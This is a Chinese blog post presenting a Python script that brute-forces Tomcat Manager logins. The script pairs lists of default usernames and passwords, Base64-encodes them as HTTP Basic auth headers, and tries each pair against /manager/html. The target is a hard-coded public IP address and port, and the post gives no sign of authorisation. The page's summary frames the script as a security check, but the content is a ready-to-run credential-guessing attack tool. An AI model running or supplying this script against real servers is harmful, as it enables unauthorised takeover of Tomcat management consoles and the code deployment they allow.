tomcat 弱口令爆破脚本

？？？？27282

已于 2023-06-26 15:17:30 修改

阅读量1k

点赞数 1

分类专栏：优秀文章秀秀文章标签： tomcat java

于 2023-03-19 22:31:00 首次发布

本文链接：https://blog.youkuaiyun.com/qq_52549196/article/details/129657947

版权

优秀文章同时被 2 个专栏收录

166 篇文章 ¥9.90 ¥99.00

订阅专栏

秀秀

179 篇文章

订阅专栏

本文详细介绍了如何编写和使用Tomcat弱口令爆破脚本，通过自动化手段检查Tomcat服务器的安全性，防止未授权访问。内容包括脚本原理、实现步骤及实战应用，旨在提升Java应用服务器的安全防护能力。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

import base64
from time import sleep
import requests


import ssl



username=['admin', 'root', 'tomcat','role1','QCC','xampp','ADMIN','cxsdk','j2deployer','ovwebusr']
password=['admin', 'tomcat','root', '123456', 'admin123','j5Brn9','changethis','role1','None','QLogic66','s3cret','ADMIN','kdsxc','j2deployer','OvW*busr1']

password_base64 = []

for i in username:
    for j in password:
        password_base64.append(base64.b64encode((i+":"+j).encode("utf8")).decode("utf8"))
        

def cheek_tomcat(url):
    i = 0
    print(f"[+] startig tomcat cheek ---{url}---")
    con = int(len(password_base64))
    for basic in password_base64:
        i = i + 1
        print("[+] 正在进行第 {} 组密码暴破## ".format(i),end="\r")
        headers = {
        "Accept":"application/x-shockwave-flash, image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*",
        "User-Agent":"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50", 
        "Content-Type":"application/x-www-form-urlencoded",
        'Authorization': 'Basic %s' % basic
        }
        # sleep(1)
        try:
            req = requests.get(url, headers=headers, timeout=5,verify=False)
            if req.status_code == 200:
                print("[+] status_code:",req.status_code, "tomcat爆破成功:",base64.b64decode(basic.encode("utf-8")).decode("utf-8"))
            else:
                pass
        except Exception as e:
            print(e)

target='''
118.114.244.201:28181
'''

for i in target.strip().split("\n"):
    if(i[1].isdigit()):
        cheek_tomcat("http://"+i+"/manager/html")
    else:
        cheek_tomcat(i+"/manager/html")